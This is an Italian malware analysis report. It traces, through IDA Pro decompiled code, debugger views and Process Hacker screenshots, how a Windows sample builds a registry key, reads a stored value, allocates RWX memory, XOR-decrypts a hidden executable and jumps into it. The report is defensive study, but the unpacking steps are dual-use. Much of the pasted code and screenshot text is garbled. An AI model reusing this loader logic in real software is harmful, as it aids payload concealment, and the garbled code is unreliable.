Dopodichè siamo passati all'analisi delle singole funzioni richiamate all'interno di essa, seguendo il flusso del codice, al fine di capire il loro comportamento.



In questa funzione viene svolta un'operazione aritmetica di incremento su una variabile, da noi rinominata var\_34444443, fino al raggiungimento del risultato atteso, che poi viene ritornato dalla funzione.

```
int getRegKey()
{
  var_34444443 = 0;
  calculateRegValueKey();
  return getRegKeyKey();
}
```

// Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}
// return registry\_key\_handle

In questa funzione viene inizializzata a 0 la variabile var\_344444443 e viene richiamata la funzione calculateRegValueKey.

```
char *calculateRegValueKey()
  <mark>char</mark> *result; // eax
                                                        // Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}
  var 34444443 = 0:
  *(_BYTE *)(regKeyValue + 19) = '-';
*(_BYTE *)(var_344444443 + regKeyValue + 20) = var_344444443 + 'b';
  *(_BYTE *)(var_344444443 + regKeyValue + 21) = var_344444443 + '8';
*(_BYTE *)(var_344444443 + regKeyValue + 22) = var_344444443 + '3';
  *(_BYTE *)(var_344444443 + regKeyValue + 23) = var_344444443 + '4';
  *(_BYTE *)(var_344444443 + regKeyValue + 24) = var_344444443 +
  *(_BYTE *)(var_344444443 + regKeyValue + 25) = var_344444443 + '1';
  *(_BYTE *)(var_344444443 + regKeyValue + 26) = var_344444443 +
                                                                             11:
  *(_BYTE *)(var_344444443 + regKeyValue + 27) = var_344444443 + 'd';
*(_BYTE *)(var_344444443 + regKeyValue + 28) = var_344444443 + '0';
  (_BYTE *)(var_34444443 + regKeyValue + 29) = var_34444443 + '-'
*(_BYTE *)(var_34444443 + regKeyValue + 30) = var_344444443 + '9'
  ('BYTE *)(var_344444443 + regKeyValue + 31) = var_344444443 + '3';
*(_BYTE *)(var_344444443 + regKeyValue + 32) = var_344444443 + '2';
  *(_BYTE *)(var_344444443 + regKeyValue + 33) = var_344444443 + 'f'
  *(_BYTE *)(var_344444443 + regKeyValue + 34) = var_344444443 + '-'
  *(_BYTE *)(var_344444443 + regKeyValue + 35) = var_344444443 + '0';
  *(_BYTE *)(var_344444443 + regKeyValue + 36) = var_344444443 + '0';
  *(_BYTE *)(var_344444443 + regKeyValue + 37) = var_344444443 + 'a';
  *(_BYTE *)(var_344444443 + regKeyValue + 38) = var_344444443 + '0';
  *(_BYTE *)(var_344444443 + regKeyValue + 39) = var_344444443 + 'c';
  *(_BYTE *)(var_344444443 + regKeyValue + 40) = var_344444443 + '9'
  *(_BYTE *)(var_344444443 + regKeyValue + 41) = var_344444443 + '0';
  *(_BYTE *)(var_344444443 + regKeyValue + 42) = var_344444443 + 'd';
  *(_BYTE *)(var_344444443 + regKeyValue + 43) = var_344444443 + 'c';
  *(_BYTE *)(var_344444443 + regKeyValue + 44) = var_344444443 + 'a';
  *(_BYTE *)(var_344444443 + regKeyValue + 45) = var_344444443 + 'a';
  *(_BYTE *)(var_344444443 + regKeyValue + 46) = var_344444443 + '9';
  *(_BYTE *)(var_344444443 + regKeyValue + 47) = var_344444443 + '}';
  *(_BYTE *)(var_34444443 + regKeyValue + 48) = '\0';
  *(_BYTE *)(var_344444443 + regKeyValue) = var_344444443 + 'i';
  *(_BYTE *)(var_344444443 + regKeyValue + 1) = var_344444443 + 'n';
   *(_BYTE *)(var_344444443 + regKeyValue + 2) = var_344444443 + 't';
  *(_BYTE *)(var_344444443 + regKeyValue + 3) = var_344444443 + 'e';
  *(_BYTE *)(var_344444443 + regKeyValue + 4) = var_344444443 + 'r';
  *(BYTE *)(var_344444443 + regKeyValue + 5) = var_344444443 + 'f';
  *(_BYTE *)(var_344444443 + regKeyValue + 6) = var_344444443 + 'a';
  *(_BYTE *)(var_344444443 + regKeyValue + 7) = var_344444443 + 'c';
*(_BYTE *)(var_344444443 + regKeyValue + 8) = var_344444443 + 'e';
  *(_BYTE *)(var_344444443 + regKeyValue + 9) = var_344444443 + '\\
  *(_BYTE *)(var_344444443 + regKeyValue + 10) = var_344444443 + '{';
*(_BYTE *)(var_344444443 + regKeyValue + 11) = var_344444443 + 'a';
  *(_BYTE *)(var_344444443 + regKeyValue + 12) = var_344444443 + 'a';
  *(_BYTE *)(var_344444443 + regKeyValue + 13) = var_344444443 + '5';
*(_BYTE *)(var_344444443 + regKeyValue + 14) = var_344444443 + 'b';
  *(_BYTE *)(var_344444443 + regKeyValue + 15) = var_344444443 + '6';
  *(_BYTE *)(var_344444443 + regKeyValue + 16) = var_344444443 + 'a';
*(_BYTE *)(var_344444443 + regKeyValue + 17) = var_344444443 + '8';
  result = (char *)(var_344444443 + regKeyValue);
  *(_BYTE *)(var_344444443 + regKeyValue + 18) = var_344444443 + '0';
  return result;
```

In questa funzione la variabile var\_34444443, già incontrata precedentemente, viene inizializzata a 0. Inoltre troviamo la variabile regKeyValue in cui viene salvata una stringa contenente un offset. Questa variabile viene sommata ad un numero intero compreso tra 0 e 48 e il risultato di questa operazione corrisponde ad un carattere specifico. La funzione ripete questa operazione fino ad avere una sequenza di caratteri, che vengono concatenati formando una chiave di registro:

### HKEY\_CLASSES\_ROOT\Interface\{AA5B6A80-B834-11D0-932F-00A0C90DCAA9}

Siamo riusciti a ricavare la chiave di registro grazie al software Registry Editor, il quale mette a disposizione la visualizzazione di tutte le chiavi di registro di sistema. Infine la funzione ritorna la chiave di registro.



In questa funzione viene assegnato alla variabile result il risultato del comando RegOpenKeyA\_fun al quale vengono passati 4 parametri. 0x80000000 è il valore fisso dell'handle di Windows, mentre la variabile regKeyValue contiene una stringa che fa riferimento ad un offset. La variabile registry\_key\_handle contiene la chiave di registro. Infine viene ritornato il contenuto della chiave di registro.

All'interno della varibiale unkownData\_Pointer, presente in start\_malware, viene salvato il valore di ritorno di questa funzione:



In questa funzione vengono inizializzate 3 variabili:

v1 è un array di 200 caratteri mentre v2 e v3 sono due interi.

Nella variabile maybe\_saved\_Reg viene salvato l'handle del processo corrente del file che si sta eseguendo. Nella variabile dowrd\_419058 viene salvato il valore contenuto nel 60esimo byte dell'eseguibile, cioè il portable executor. Il formato portable executor è una struttura dati che incapsula le informazioni necessarie al loader di Windows per gestire il codice eseguibile.

Nel ciclo while vengono letti tutti i valori della chiave di registro e finché la condizione è vera la funzione getRegValueContent viene richiamata ricorsivamente.

Nell'if viene controllato se il dato contenuto nella chiave di registro, presente nella variabile v1, è corretto: siamo riusciti a ricavare il dato contenuto nella chiave di registro ("IActiveScriptParseProcedure32") grazie al software Registry Editor.

Una volta verificata la condizione nell'if, nella variabile unkownData\_pointer viene salvato il riferimento alla variabile unknownData. All'interno del secondo if vengono controllate determinate posizioni delle celle di memoria dell'eseguibile. La funzione infine ritorna il riferimento alla variabile unknownData\_pointer.



Nel ciclo for di questa funzione si crea un contatore con la variabile var\_34444443 che va da 33 a 34444443 con un incremento di 4 ad ogni iterazione.

Successivamente alla variabile v0 viene assegnato il risultato della funzione getLess4byte.

```
int getLess4byte()
{
    int v0; // ST04_4
    unkownData_Pointer -= 4;
    v0 = *(_DWORD *)unkownData_Pointer;
    unkownData_Pointer += 4;
    return v0;
}
```

Questa funzione ritorna la variabile v0 che contiene la variabile unkownData\_Pointer spostata di -4 byte.

Continuiamo poi l'analisi della funzione sub\_401440, dove nella variabile var\_34444443 viene salvato il valore della variabile v0 spostato di -4 byte e v0 viene ulteriormente salvato nella variabile unkownData\_Pointer\_less4byte\_1. Nella variabile v1 viene caricato il modulo Kernel32.dll e nella variabile VirtualAlloc\_fun viene salvato l'indirizzo contenente la chiamata VirtualAlloc, attraverso la funzione GetProcAddress la quale cerca il valore di ProcName(VirtualAllocEx) all'interno del modulo Kernel32.dll.

La funzione ritorna il valore generato dalla funzione virtual\_alloc\_junk\_data().

In questa funzione tramite il comando VirtualAlloc\_fun viene salvato, nella variabile result, l'indirizzo della memoria allocata che viene successivamente salvato nella variabile pointerToAllocateMemory.

In seguito, il valore della variabile unkownData\_Pointer\_less4byte\_1 viene salvato nella variabile unkownData\_Pointer\_less4byte\_2.

Alla variabile pointerToAllocateMemory\_plus\_66288 viene assegnato il valore 66288 sommato al puntatore dell'allocazione di memoria. La funzione infine ritorna l'indirizzo della memoria allocata.

Torniamo di nuovo alla funzione start\_malware dove vengono successivamente inizializzate tre variabili: index1 = 0, index2 = 0, index3 = 1.

All'interno del ciclo while, nella variabile minValue viene salvato il valore minimo tra var\_7Bh e unkownData\_Pointer\_less4byte\_2. Nell'if viene messa una condizione per uscire dal while: si verifica che il valore della variabile index1 sia maggiore o uguale della variabile unkownData\_Pointer\_less4byte\_1, in questo caso il ciclo while terminerebbe.

Di seguito viene richiamata la funzione 401600.

```
signed int sub_401600()
{
    signed int result; // eax
    int v1; // [esp+4h] [ebp-18h]
    unsigned int v2; // [esp+14h] [ebp-8h]
    int v3; // [esp+18h] [ebp-4h]
    v2 = 0;
    v3 = index1 + pointerToAllocateMemory; // v3 = 0 + allocated_junk_data(indirizzo di allocazione di memoria)
    v1 = index2 + unkownData_Pointer; // v1 = 0 + junk_data_from_function(junk_data shiftati di -4bytes) --> dovrebb
while ( 1 ) // dentro al while si alloca negli di indirizzi di memoria + v2(contatore), i
    result = 13151; // 0x335F
    if ( v2 >= minValue ) // 0 >= val_min
        break;
    *(_BYTE *)(v2 + v3) = *(_BYTE *)(v2 + v1); // v3 + v2 = v1 + v2 => allocated_junk_data + v2 = junk_data_from_function(ju
        ++v2;
    }
    return result;
}
```

In questa funzione inizialmente vengono dichiarate 4 variabili.

La variabile v2 viene inizializzata a 0. Nella variabile v3 viene salvato il valore della variabile pointerToAllocateMemory che contiene l'indirizzo di allocazione di memoria sommato alla variabile contatore index1, che viene incrementata nel ciclo while della funzione start\_malware.

Nella variabile v1 viene salvato il valore della variabile unkownData\_Pointer che contiene il riferimento alla variabile unknownData spostata di -4 byte sommata alla variabile contatore index2 che viene incrementata nel ciclo while della funzione start\_malware.

Nel while alla variabile result viene assegnato il numero 13151, in seguito viene definito un if contenente una condizione per terminare il ciclo. La condizione prevede che la variabile contatore v2 sia maggiore o uguale alla variabile minValue che contiene il valore minimo tra le variabili var\_7Bh e unkownData\_Pointer\_less4byte\_2 presenti nella funzione start\_malware.

Successivamente viene salvato il contenuto delle celle di memoria di v1 nelle celle di memoria di v3 ad ogni iterazione del ciclo while. La variabile contatore v2 viene incrementata ad ogni ciclo. Infine questa funzione ritorna la variabile result, contenente il valore 13151.

Continuiamo ad analizzare la funzione start\_malware proseguendo con le operazioni rimaste all'interno del while.

Nella variabile 418FE0 viene salvato il valore della variabile minValue che contiene il valore minimo tra le variabili var\_7Bh e unknownData\_Pointer\_less4byte\_2.

Nella variabile index2 viene salvato ad ogni ciclo il suo valore attuale sommato al valore della variabile index3, al valore della variabile var\_7bh e al valore 21 che viene poi sottratto nell'istruzione successiva.

Nella variabile index1 viene salvato ad ogni ciclo il suo valore attuale sommato al valore della variabile var\_7Bh.

Nella variabile unkownData\_Pointer\_less4byte\_2 viene salvato ad ogni ciclo il suo valore attuale al quale viene sottratto il valore della variabile minValue.

Terminato il ciclo while viene eseguita la funzione decrypt3.

```
unsigned int decrypt3()
ł
  unsigned int result; // eax
unsigned int i; // [esp+14h] [ebp-4h]
  for ( i = 0; ; i += 4 )
  ſ
    result = i;
                                                     // contatore
    if ( i >= unkownData_Pointer_less4byte_1 ) // se maggiore della variabile esci dal for
      break;
    pointerToAllocateMemory_1 = i + pointerToAllocateMemory;// nel while i valori unknown vengono inseriti nelle varie celle o
    sub_401000(125, i); // -->somm
pointerToAllocateMemory_2 = pointerToAllocateMemory_1;
                                                     // -->somma contatore ad una variabile e ritorna il valore finale
    var_i_plus_2347 = i + 2347;
    decrypt2();
  return result;
                                                     // ritorna il contatore
}
```

In questa funzione vengono calcolati i puntatori alle locazioni di memoria contenenti i dati che verranno decriptati nella funzione decrypt, contenuta nella funzione decrypt2. La decifratura avviene attraverso uno XOR tra un contatore sommato all'intero 2347 e la variabile allocated\_memory\_2 che contiene il puntatore alla locazione di memoria.

```
int decrypt2()
{
 pointerToAllocateMemory_3 = pointerToAllocateMemory_2;
                                              // -->analizzata (operazioni aritmetiche su variabili)
 return decrypt();
}
int decrypt()
{
  int result; // eax
  dword_41906C = var_i_plus_2347;
  allocatedMemory_2 = *(_DWORD *)pointerToAllocateMemory_2;
  dword_41906C = var_i_plus_2347 - 2;
  dword_419078 = var_i_plus_2347 ^ allocatedMemory_2;
  result = var_i_plus_2347 ^ allocatedMemory_2;
  allocatedMemory_2 = result;
  *( DWORD *)pointerToAllocateMemory_2 = result;
  return result;
}
int sub 401260()
 int savedregs; // ST08_4
 savedregs = maybe saved Reg;
 return pointerToAllocateMemory_plus_66288(); // chiama la funzione che sta dentro la memoria allocata decifrata all'indiriz:
```

Arrivati a questo punto è stato necessario eseguire il malware attraverso il debugger messo a disposizione da IDA Pro, posizionando dei breakpoint sulle ultime due funzioni di start\_malware.

```
1int cdecl start malware(int a1)
2{
   int savedregs; // [esp+14h] [ebp+0h]@1
34
   calculateFixNum344444443();
5
6
   savedRegs = a1;
   savedRegs = a1;
savedRegsPointer = (int)csavedregs;
7
   regOponKeyA_Str = *(int (__cdecl **)(_DWORD, _DWORD, _DWORD, _DWORD))RegOpenKeyA;
8
9
    getRegKey();
    regQueryValueStr = *(int (__cdec1 **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))RegQueryValueEx
0
    unknownData_pointer1 = getRegValueContent();
1
2
3
    sub 401440();
   index1 = 0;
index2 = 0;
4
5
    index3_start_1 = 1;
6
    while (1)
7
8
      minVal = getMinVal(dword_408008, unknownData_pointer1Less4_1);
9
      if ( index1 >= (unsigned int)unknownData_pointer1Less4 )
        break;
:0
      sub_401600();
:1
:2
:3
      dword_418FE0 = minUal;
index2 += index3_start_1 + dword_408008 + 21;
index2 -= 21;
4
:5
      index1 += dword_408008;
:6
      unknownData_pointer1Less4_1 -= minVal;
:7
:8
:9
:0}
```

Così facendo è stato possibile vedere il comportamento del malware dall'inizio fino alla chiamata return presente nella funzione 401260, la quale punta ad un'altra locazione di memoria (0x6102F0). E' stato possibile convertire il contenuto della memoria, inizialmente in funzione e successivamente in codice, per capirne il comportamento.

```
1int cdecl sub 6102F0(int a1)
2{
 3
    int v1; // STOC_4@4
 4
    int v2; // ST14_4@4
 5
    int v3; // ST20_4@4
 6
    int *v5; // [esp+18h] [ebp-68h]@3
    int v6; // [esp+20h] [ebp-60h]@4
int v7; // [esp+24h] [ebp-5Ch]@4
int v8; // [esp+28h] [ebp-58h]@8
 7
8
0
    int v9; // [esp+2Ch] [ebp-54h]@4
10
    int v10; // [esp+30h] [ebp-50h]@7
11
    int v11; // [esp+70h] [ebp-10h]@4
12
    unsigned int i; // [esp+74h] [ebp-Ch]@1
13
14
    int v13; // [esp+78h] [ebp-8h]@4
    int savedregs; // [esp+80h] [ebp+0h]@4
15
    int retaddr; // [esp+84h] [ebp+4h]@4
16
17
18
    for ( i = 0; i < 0x320C05; ++i )
19
      ((void (__cdecl *)(int **, _DWORD, signed int))unk_60FB80)(&v5, 0, 88);
    v13 = retaddr;
20
    v5 = &savedregs;
21
22
    ((void (__cdecl *)(int **))unk_60F830)(&v5);
    ((void (*)(void))unk_60F730)();
23
    v6 = v13;
                               0x60F730
24
25
    v9 = a1;
    v11 = a1;
26
27
    v11 = *(_DWORD *)(v9 + 60) + v9;
28
    v7 = *(unsigned __int16 *)(v11 + 22);
```

v1 = *(_DWORD *)(((int (*)(void))unk_60F730)() + 4198688);
v2 = ((int (*)(void))unk_60F730)() + 4198692;
v3 = ((int (cdecl *)(int))unk_60FA30)(v1);
((void (cdecl *)(int, int, int))unk_60FBC0)(v3, v2, v1);
((void (cdecl *)(int, int))decrypt_new)(v3, v1);
if ( ((int (cdecl *)(int **, int))unk_60FF80)(&v5, v3) )
< 1 ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) (
if (:V6 )
v5[4] = v10;
JUMPOUT(CS, U8);
}
return 0;
}
)

Nel codice della funzione vengono svolte delle operazioni giá viste precedentemente come la VirtualAlloc, vengono dati i permessi di RWX, poi vengono decifrati dei dati che infine vengono salvati nelle zone di memoria allocate.



Andando ad analizzare la funzione decrypt\_new possiamo vedere che decifra i dati salvati nella memoria 0x30000 alla quale sono stati dati i permessi di Read/Write/Execute.

		_							
	•	debug021:006103C3	mov	edx, [ebp+var_80]		EDI 6646	IF18 .	start	1011
	•	debug021:006103C6	push	edx		CDD 00401	TOL .		1.0040
_	•	debug021:006103C7	MOV	eax, [ebp+var 6C]		EBL 0014	E64 👒	2 CACK [ 000010B8	1:0013
IF	•	debug021:006103CA	push	eax		ESP 0019F	-E40 🖕 :	Stack[000010B8	]:0019
	•	debug 021:006103CB	call	delesy=debug037 • 00	02000	CTD 88641	3900 1	cub 610950±00	
	•	debug021:006103D0	add	est-debugesr.ee					
	•	debug021:006103D3	mov	ecy'					
	•	debug021:006103D6	push	ecs. Segment tune:	Pure code				
	•	debug021:006103D7	lea	edy. Segment normi	ccionc: Road/Write/Evecute				
	•	debug021:006103DA	push	ed/debug@27	commont bute public 'CODE' uce22				
	•	debug021:006103DB	call	sut	sequenci byce public cobe uses2				
	•	debug021:006103E0	test	eax	torg 20000b				
		debug021:006103E2	inz	sho	scrupp oc:dobug@1k cc:dobug@1k dc	-dobug81h	Ec . do	hualdh ac dah	10.814
	•	debug021:006103E4	xor	eax	db Bolth - 7	.uebugo14,	15.00	bugora, gs.ueb	ugera
	•	debug021:006103E6	imp	sho	db E0b · V				
		debug021:006103E8			ub 5711 , 1				
		debug021:006103E8				Decimal	Hex	State	
		debug021:006103E8	loc 6103	3E8:	; CODE XREF: sub 6102	4200	1000	Deed	
		debug021:006103E8 debug021:006103E8	10c_6103 cmp	3E8: [ebp+var 60], 0	; CODE XREF: sub_6102	4280	1088	Ready	
		debug 021:006103E8 debug 021:006103E8 debug 021:006103EC	loc_6103 cmp iz	3E8: [ebp+var_60], 0 short loc 6103F7	; CODE XREF: sub_6102	<ul> <li>➡ 4280</li> <li>➡ 3536</li> <li>➡ 3224</li> </ul>	10B8 DD0	Ready Ready	
		debug 021:006103E8 debug 021:006103E8 debug 021:006103EC debug 021:006103EE	loc_610 cmp jz mov	3E8: [ebp+var_60], 0 short loc_6103F7 eax, [ebp+var 50]	; CODE XREF: sub_6102	<ul> <li>4280</li> <li>3536</li> <li>3224</li> </ul>	10B8 DD0 C98	Ready Ready Ready	

1	uenulasv:aaaaaaaa	d22	sume	es.	:uevuyø14,	SS:uebuy014,	us : ueuu
AX	debug037:00030000	db	0A4h	1	ñ		
	debug037:00030001	db	59h		Y		
	debug037:00030002	db	9 Øh	÷	É		
	debug837:88838883	dh	ß				
	debug 037 - 00030000	dh	GEON	-	Û		
	dobug827 - 88828885	db	9		0		
	debug 027 : 0003 0005	db	0				
	debug037.00030000	db	0				
	uebuy037:00030007	UD	OFFL		<i>6</i>		
	debugu37:00030008	aD	UEDN		Ŷ		
	debug037:00030009	db	3				
	debug037:0003000A	db	0				
•	debug037:0003000B	db	0				
	debug037:0003000C	db	ØFEh	- 5			
	debuq037:0003000D	db	ØFBh	÷.	1		
•	debug 037:0003000E	db	0				
•	debug037:0003000F	db	0				
	debug037:00030010	db	31h		1		
	debug037:00030011	dh	3	,			
	debug 037 - 00030012	dh	Ő				
	dobug827 - 88828812	db	0				
	debug007.00000010	db	OFOL		ú		
	debug037:00030014		DEAL	9	U		
	debug037:00030015	aD	3				
	debug037:00030016	db	0				

Alla sub\_60FF80 vengono passati due parametri, il primo è l'indirizzo della locazione di memoria 0x30000 e il secondo parametro è 0x019FE5C (--8c9aa769), cioé il parametro che si aspetta in input per proseguire il flusso del codice. Inseriamo poi un breakpoint sulla riga di codice che comprende "test eax, eax" fino ad arrivare alla loc\_6103F7, dove avviene la copia dei dati, saltando infine alla sub\_40C9A0.

TP	21: 21: 21:	006 <sup>-</sup> 006 <sup>-</sup> 006 <sup>-</sup>	03	F7 F7 FA	lo mov mov	C_6 U U	103	F7: edx esp	, [ , [	ebp ebp	+var +var	5	; CODE XREF: sub_6102F0 3] [ebp+var_58]=[Stack[000010B8]:0019FE6C]
	UNKI	NOMN	006	5103	BED:	su	b_61	LO2F	0+1(	DD (S	Synch	ro	db 0A0h ; á db 0C9h ; +
Hex	< View	·1											00 49n;@ db 0 db 0
040 040	112D	0 0 0 F	17 C	E8 43	6A 8B	FE 4D	FF F8	FF 8B	8B 55	C8 E4	8B 3B	450	db 0 db 40h ;@
040 040	1130	0 5	5	99 88	EC	00 51	58 64	88 A1	80 30	50 00	00	0	db 0 db 0
000	06F0	0040	121	TO:	sta	rt_	mal	vare	+10				db 0

Prima di passare all'analisi della funzione 40C9A0, abbiamo utilizzato il software ProcessHacker che ci ha consentito di vedere le proprietà del file eseguibile. In particolare siamo riusciti a visualizzare i processi in memoria eseguiti dal Malware.

Hide free regior	IS								Strings	Refresh
Base address		Size	Protection	Туре		Use				Total WS
x40d000		44 kB	WC	Image:	Commit	\\vmware-hos	t\Shared F	olders\s	shared\	44 kB
x409000		12 kB	WC	Image:	Commit	\\vmware-hos	t\Shared F	olders\s	shared\	12 kB
x7ffaf5621000		1,116 kB	RX	Image:	Commit	C:\Windows\S	System32\n	tdll.dll		560 kB
x7ffaf4cc1000		216 kB	RX	Image:	Commit	C:\Windows\S	System32\v	vow64.d	Ш	88 kB
x7ffaf3741000		264 kB	RX	Image:	Commit	C:\Windows\S	System32\v	vow64w	in.dll	28 kB
x77421000		1,128 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\ntdll.dl	1	664 kB
x77416000		4 kB	RX	Image:	Commit	C:\Windows\S	System32\v	vow64cp	ou.dll	4 kB
x77411000		8 kB	RX	Image:	Commit	C:\Windows\S	System32\v	vow64cp	ou.dll	4 kB
x77091000		708 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\msvcrt.	.dll	156 kB
x76e61000		412 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\sechost	t.dll	52 kB
x76c61000		1,808 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\KernelE	Base.dll	288 kB
x76b31000		1,080 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\ucrtbas	se.dll	208 kB
x76aa1000		444 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\msvcp_	_win.dll	100 kB
x75f61000		100 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\imm32	.dll	20 kB
x75ed1000		104 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\gdi32.d	111	92 kB
x75cd1000		644 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\user32.	.dll	88 kB
x756f1000		1,240 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\gdi32fu	ull.dll	88 kB
x75631000		680 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\rpcrt4.	dll	36 kB
x75511000		412 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\advapi3	32.dll	60 kB
x754b1000		352 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\bcryptp	orimitiv	64 kB
x75491000		72 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\win32u	ı.dll	68 kB
x75210000		400 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\kernel3	32.dll	64 kB
x74bf1000		100 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\sspicli.o	dll	32 kB
x74be1000		16 kB	RX	Image:	Commit	C:\Windows\S	SysWOW64	\cryptba	ase.dll	12 kB
x401000		8 kB	RX	Image:	Commit	\\vmware-hos	t\Shared F	olders\s	shared\	8 kB
x600000		68 kB	RWX	Private:	Commit					68 kB
x30000		64 kB	RWX	Private:	Commit					64 kB
x93d000		8 kB	RW+G	Private:	Commit	Stack 32-bit (	thread 322	4)		
x665000		12 kB	RW+G	Private:	Commit	Stack (thread	3224)			
x5fd000		8 kB	RW+G	Private:	Commit	Stack 32-bit (	thread 353	6)		
x1f5000		12 kB	RW+G	Private:	Commit	Stack (thread	3536)			
x19a000		8 kB	RW+G	Private:	Commit	Stack 32-bit (	thread 428	0)		

Abbiamo notato i seguenti indirizzi di memoria:

 $0x600000 \rightarrow$  memoria utilizzata dal codice studiato nella funzione start\_malware 0x30000

Queste allocazioni di memoria avevano i permessi di lettura, scrittura ed esecuzione(RWX). L'anomalia riscontrata è che un normale file eseguibile non ha attivi i permessi in memoria per RWX. Abbiamo analizzato l'esadecimale della locazione di memoria 0x30000 ed abbiamo scoperto che era presente la stringa "MZ" nei primi bytes dell'header di memoria, così abbiamo capito che si trattasse di un file eseguibile.

Hide free reg ase address x7ffaf5621000 x7ffaf4cc1000 x7ffaf3741000 x7741000 x7741000 x7761000 x76e61000 x76e61000 x76631000 x7561000 x75cd1000 x75cd1000 x75cd1000 x75cf1000 x75631000	ions	Size 1,116 kB	Prot	×																		Itrl+K
ase address x7ffaf5621000 x7ffaf4cc1000 x7ffaf3741000 x7741000 x7741000 x7791000 x76e61000 x76e61000 x76e31000 x75e31000 x75cd1000 x75cd1000 x75cd1000 x75cf1000 x75631000 x75631000		Size 1,116 kB	Prot	×													5	Strin	gs F	efresh		
x7ffaf5621000 x7ffaf4cc1000 x7ffaf3741000 x77faf3741000 x7741000 x7741000 x77691000 x76661000 x76631000 x76631000 x7561000 x75cd1000 x75cf1000 x7561000 x7561000 x7561000		1,116 kB		tectio	n	Туре				Use	2								Tot	al WS	^	-
x7ffaf4cc1000 x7ffaf3741000 x77421000 x7741000 x77411000 x77091000 x76c61000 x76c61000 x76c61000 x76c61000 x75c61000 x75cd1000 x75cf1000 x75cf1000 x75cf1000 x75cf1000		,	RX			Imag	e: (	Comn	nit	C:\	Wind	lows	Syst	tem3	2\nto	dll.dl			5	60 kB		NS SPI
x7ffaf3741000 x77421000 x77416000 x77416000 x77091000 x76e61000 x76e61000 x76631000 x7561000 x75ed1000 x75cd1000 x75cd1000 x75631000 x75631000		216 kB	RX			Imag	e: (	Comn	nit	C:\	Wind	lows	Svst	tem3	2\wo	w64	.dll			88 kB		100 500
<pre>x77421000 x77416000 x77416000 x77091000 x76e61000 x76e61000 x76c61000 x76c61000 x75661000 x7561000 x75cd1000 x75cd1000 x75c61000 x7561000 x7561000 x7561000</pre>		264 kB	RX			Imag	e: (	omn	nit	C:\	Wind	lows	Svst	tem3	2\wc	w64	win.	III		28 kB		ws Sei
x77416000 x77411000 x77091000 x76e61000 x76c61000 x76c61000 x75f61000 x75f61000 x75cf1000 x75cf1000 x75cf1000 x75cf1000 x75cf1000		1.128 kB	RX			Imag	e: (	omn	nit	C:	Wind	lows	Svs	WOW	/64\r	ntdll.	dll		e	68 kB		ws Sei
x77411000 x77091000 x76e61000 x76c61000 x76b31000 x75f61000 x75f61000 x75cd1000 x75cf1000 x75cf1000 x75cf1000		4 kB	RX			Imag	e' (	omn	nit	C·N	Wind	lows	Svst	tem3	21.00	w64	cnu	-III		4 kB		ws Sei
x77091000 x77091000 x76e61000 x76c51000 x76b31000 x75f61000 x75f61000 x75cd1000 x756f1000 x756f1000 x75651000		8 kB	RX			Imag	e. (	omn	nit	C-1	Wind	lows	Svst	tem3	2100	w64	cnu	HI		4 kB		NS SPI
<pre></pre>		URD	IVA			inag	C. (	2011111	inc.	0.1	vviire	10113	10930	lems	2 1000	1001	cpu.	un		TRD		103 501
<pre></pre>		ww.exe (	533	2) (0:	x40	0000	- 0	x414	4000	D)									-			×
<pre></pre>																						
<pre></pre>	00	000000	4d	5a	90	00	03	00	00	00	04	00	00	00	ff	ff	00	00	MZ			~
<pre></pre>	00	000010	b8	00	00	00	00	00	00	00	40	00	00	00	00	00	00	00	6	1		
<pre><!--5f61000 </75ed1000 </75ed1000 </75cd1000 </756f1000 </75631000</pre--></pre>	00	000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00				
5ed1000<br <75cd1000 <756f1000 <75631000	00	000030	00	00	00	00	00	00	00	00	00	00	00	00	b8	00	00	00				
<75cd1000 <756f1000 <75631000	00	000040	0e	1f	ba	0e	00	b4	09	cd	21	b8	01	4c	cd	21	54	68	!	L.!	Th	
<756f1000 75631000</td <td>00</td> <td>000050</td> <td>69</td> <td>73</td> <td>20</td> <td>70</td> <td>72</td> <td>6f</td> <td>67</td> <td>72</td> <td>61</td> <td>6d</td> <td>20</td> <td>63</td> <td>61</td> <td>6e</td> <td>6e</td> <td>6f</td> <td>is progra</td> <td>um can</td> <td>ino</td> <td></td>	00	000050	69	73	20	70	72	6f	67	72	61	6d	20	63	61	6e	6e	6f	is progra	um can	ino	
75631000	00	000060	74	20	62	65	20	72	75	6e	20	69	6e	20	44	4f	53	20	t be run	in DO	S	
	00	000070	6d	6f	64	65	2e	0d	0d	0a	24	00	00	00	00	00	00	00	mode \$	; ·		
75511000	00	080000	af	df	0d	cb	eb	be	63	98	eb	be	63	98	eb	be	63	98	c.	.c	с.	
754b1000	00	000090	96	c7	86	98	cf	be	63	98	96	c7	bd	98	ea	be	63	98	c.		с.	
75491000	00	0000a0	52	69	63	68	eb	be	63	98	00	00	00	00	00	00	00	00	Richc.			
75210000	00	0000b0	00	00	00	00	00	00	00	00	50	45	00	00	4c	01	04	00	I	ΥЕ		
74bf1000	00	0000c0	3b	92	9e	5c	00	00	00	00	00	00	00	00	e0	00	0f	01	;\		••	
74be1000	00	0000d0	0b	01	0c	00	00	ce	00	00	00	50	00	00	00	00	00	00		P		
670000	00	0000e0	a0	c9	00	00	00	10	00	00	00	e0	00	00	00	00	40	00			0.	
60000	00	0000f0	00	10	00	00	00	02	00	00	06	00	00	00	00	00	00	00			• •	
400000	00	000100	06	00	00	00	00	00	00	00	00	40	01	00	00	04	00	00		@		
30000	00	000110	00	00	00	00	02	00	40	80	00	00	10	00	00	10	00	00	· · · · · · @ · ·		• •	
